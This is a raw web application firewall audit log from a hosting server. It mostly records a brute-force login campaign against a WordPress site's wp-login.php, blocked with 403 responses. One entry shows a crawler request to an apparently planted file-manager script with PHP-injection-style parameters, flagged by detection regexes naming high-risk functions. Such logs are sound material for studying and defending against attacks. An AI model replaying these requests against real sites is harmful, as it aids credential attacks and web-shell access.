[13/Sep/2026:18:38:52.018565 +0300] aqbDjPut1GUrjaX0wO44DwAAAMM 134.185.87.66 52962 127.0.0.1 7081
--aa9ced7e-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 120
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.2 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--aa9ced7e-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--aa9ced7e-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313932015653 3737 (- - -)
Stopwatch2: 1789313932015653 3737; combined=1008, p1=441, p2=119, p3=0, p4=0, p5=448, sr=154, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--aa9ced7e-Z--
--1a69a50b-A--
[13/Sep/2026:18:38:52.395987 +0300] aqbDjPut1GUrjaX0wO44EQAAANA 134.185.87.66 52984 127.0.0.1 7081
--1a69a50b-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 114
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.71 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--1a69a50b-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--1a69a50b-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313932394427 1626 (- - -)
Stopwatch2: 1789313932394427 1626; combined=554, p1=241, p2=80, p3=0, p4=0, p5=233, sr=81, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--1a69a50b-Z--
--2cfd5779-A--
[13/Sep/2026:18:38:52.775944 +0300] aqbDjPut1GUrjaX0wO44EwAAANQ 134.185.87.66 53006 127.0.0.1 7081
--2cfd5779-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 125
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--2cfd5779-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--2cfd5779-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313932773536 2510 (- - -)
Stopwatch2: 1789313932773536 2510; combined=946, p1=361, p2=118, p3=0, p4=0, p5=467, sr=140, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--2cfd5779-Z--
--aafd7372-A--
[13/Sep/2026:18:38:53.156947 +0300] aqbDjUhjHs68UzErry1KsQAAAIs 134.185.87.66 53020 127.0.0.1 7081
--aafd7372-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 112
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--aafd7372-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--aafd7372-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313933155096 1922 (- - -)
Stopwatch2: 1789313933155096 1922; combined=670, p1=253, p2=80, p3=0, p4=0, p5=336, sr=96, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--aafd7372-Z--
--275d5548-A--
[13/Sep/2026:18:38:53.541105 +0300] aqbDjfut1GUrjaX0wO44FgAAAMQ 134.185.87.66 53048 127.0.0.1 7081
--275d5548-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 107
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.2 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--275d5548-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--275d5548-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313933539341 1819 (- - -)
Stopwatch2: 1789313933539341 1819; combined=648, p1=302, p2=105, p3=0, p4=0, p5=241, sr=123, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--275d5548-Z--
--3b55e240-A--
[13/Sep/2026:18:38:53.925714 +0300] aqbDjfut1GUrjaX0wO44GAAAAMw 134.185.87.66 53078 127.0.0.1 7081
--3b55e240-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 121
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.2 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--3b55e240-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--3b55e240-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313933923683 2088 (- - -)
Stopwatch2: 1789313933923683 2088; combined=688, p1=311, p2=103, p3=0, p4=0, p5=274, sr=112, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--3b55e240-Z--
--ec513b51-A--
[13/Sep/2026:18:38:54.306371 +0300] aqbDjvut1GUrjaX0wO44GgAAAMc 134.185.87.66 53102 127.0.0.1 7081
--ec513b51-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 108
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--ec513b51-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--ec513b51-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313934304412 2025 (- - -)
Stopwatch2: 1789313934304412 2025; combined=591, p1=292, p2=80, p3=0, p4=0, p5=219, sr=119, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--ec513b51-Z--
--9efaaf47-A--
[13/Sep/2026:18:38:54.686372 +0300] aqbDjkhjHs68UzErry1KsgAAAIY 134.185.87.66 53112 127.0.0.1 7081
--9efaaf47-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 174
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.2 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--9efaaf47-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--9efaaf47-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313934683903 2526 (- - -)
Stopwatch2: 1789313934683903 2526; combined=772, p1=357, p2=120, p3=0, p4=0, p5=295, sr=126, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--9efaaf47-Z--
--1fd18c2c-A--
[13/Sep/2026:18:38:55.077093 +0300] aqbDj-ut1GUrjaX0wO44HQAAAMU 134.185.87.66 53138 127.0.0.1 7081
--1fd18c2c-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 110
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--1fd18c2c-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--1fd18c2c-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313935075171 1976 (- - -)
Stopwatch2: 1789313935075171 1976; combined=605, p1=248, p2=105, p3=0, p4=0, p5=252, sr=91, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--1fd18c2c-Z--
--c6932441-A--
[13/Sep/2026:18:38:55.456669 +0300] aqbDj0hjHs68UzErry1KswAAAI0 134.185.87.66 53176 127.0.0.1 7081
--c6932441-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 107
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--c6932441-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--c6932441-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313935454832 1907 (- - -)
Stopwatch2: 1789313935454832 1907; combined=693, p1=263, p2=81, p3=0, p4=0, p5=348, sr=98, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--c6932441-Z--
--f26d3b61-A--
[13/Sep/2026:18:38:55.859598 +0300] aqbDj0hjHs68UzErry1KtQAAAJI 134.185.87.66 43476 127.0.0.1 7081
--f26d3b61-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 116
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--f26d3b61-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--f26d3b61-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313935858060 1622 (- - -)
Stopwatch2: 1789313935858060 1622; combined=500, p1=223, p2=63, p3=0, p4=0, p5=214, sr=81, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--f26d3b61-Z--
--5685f173-A--
[13/Sep/2026:18:38:56.261982 +0300] aqbDkFdqBhgxDSpG7haLCQAAAFg 134.185.87.66 43532 127.0.0.1 7081
--5685f173-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 96
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.1 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--5685f173-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--5685f173-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313936260057 1991 (- - -)
Stopwatch2: 1789313936260057 1991; combined=663, p1=276, p2=89, p3=0, p4=0, p5=298, sr=123, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--5685f173-Z--
--1b610c12-A--
[13/Sep/2026:18:38:56.308781 +0300] aqbDkPut1GUrjaX0wO44LAAAANQ 216.73.216.41 43548 127.0.0.1 7081
--1b610c12-B--
GET /img/ufo_fm.php?f=%27.%24enc.%27&p=%27.urlencode%28%24p%29.%27 HTTP/1.1
Host: www.ihelp.ro
X-Real-IP: 216.73.216.41
X-Accel-Internal: /internal-nginx-static-location
accept: */*
user-agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)
accept-encoding: gzip, br, zstd, deflate
--1b610c12-F--
HTTP/1.1 200 OK
X-Powered-By: PHP/8.1.34
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--1b610c12-H--
Message: Warning. Pattern match "(?i)\\b(?:s(?:e(?:t(?:_(?:e(?:xception|rror)_handler|magic_quotes_runtime|include_path)|defaultstub)|ssion_s(?:et_save_handler|tart))|qlite_(?:(?:(?:unbuffered|single|array)_)?query|create_(?:aggregate|function)|p?open|exec)|tr(?:eam_(?:context_create| ..." at ARGS:p. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "63"] [id "77134464"] [msg "IM360 WAF: Infectors: PHP Injection High-Risk PHP Function||T:APACHE||MVN:ARGS:p||MV:'.urlencode($p).'||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"] [tag "service_o"] [tag "service_i360"]
Message: Warning. Pattern match "(?i)\\b(?:s(?:e(?:t(?:_(?:e(?:xception|rror)_handler|magic_quotes_runtime|include_path)|defaultstub)|ssion_s(?:et_save_handler|tart))|qlite_(?:(?:(?:unbuffered|single|array)_)?query|create_(?:aggregate|function)|p?open|exec)|tr(?:eam_(?:context_create| ..." at ARGS:p. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "19"] [id "77134463"] [msg "IM360 WAF: PHP Injection Attack: High-Risk PHP Function Call Found||T:APACHE||MVN:ARGS:p||MV:'.urlencode($p).'||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "NOTICE"] [tag "service_o"] [tag "service_i360"] [tag "noshow"] [tag "service_rbl_infectors"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(?i)\\\\\\\\b(?:s(?:e(?:t(?:_(?:e(?:xception|rror)_handler|magic_quotes_runtime|include_path)|defaultstub)|ssion_s(?:et_save_handler|tart))|qlite_(?:(?:(?:unbuffered|single|array)_)?query|create_(?:aggregate|function)|p?open|exec)|tr(?:eam_(?:context_create| ..." at ARGS:p. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "63"] [id "77134464"] [msg "IM360 WAF: Infectors: PHP Injection High-Risk PHP Function||T:APACHE||MVN:ARGS:p||MV:'.urlencode($p).'||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"] [tag "service_o"] [tag "service_i360"] [hostname "www.ihelp.ro"] [uri "/img/ufo_fm.php"] [unique_id "aqbDkPut1GUrjaX0wO44LAAAANQ"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(?i)\\\\\\\\b(?:s(?:e(?:t(?:_(?:e(?:xception|rror)_handler|magic_quotes_runtime|include_path)|defaultstub)|ssion_s(?:et_save_handler|tart))|qlite_(?:(?:(?:unbuffered|single|array)_)?query|create_(?:aggregate|function)|p?open|exec)|tr(?:eam_(?:context_create| ..." at ARGS:p. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "19"] [id "77134463"] [msg "IM360 WAF: PHP Injection Attack: High-Risk PHP Function Call Found||T:APACHE||MVN:ARGS:p||MV:'.urlencode($p).'||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "NOTICE"] [tag "service_o"] [tag "service_i360"] [tag "noshow"] [tag "service_rbl_infectors"] [hostname "www.ihelp.ro"] [uri "/img/ufo_fm.php"] [unique_id "aqbDkPut1GUrjaX0wO44LAAAANQ"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ihelp.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313936263829 45064 (- - -)
Stopwatch2: 1789313936263829 45064; combined=40641, p1=335, p2=40211, p3=0, p4=0, p5=95, sr=127, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "DETECTION_ONLY"
--1b610c12-Z--
--2bca420e-A--
[13/Sep/2026:18:38:56.642003 +0300] aqbDkPut1GUrjaX0wO44LwAAANM 134.185.87.66 43604 127.0.0.1 7081
--2bca420e-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 101
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.3 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--2bca420e-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--2bca420e-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313936640317 1766 (- - -)
Stopwatch2: 1789313936640317 1766; combined=614, p1=284, p2=72, p3=0, p4=0, p5=258, sr=95, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--2bca420e-Z--
--10b04438-A--
[13/Sep/2026:18:38:57.025640 +0300] aqbDkfut1GUrjaX0wO44MwAAANE 134.185.87.66 43628 127.0.0.1 7081
--10b04438-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 97
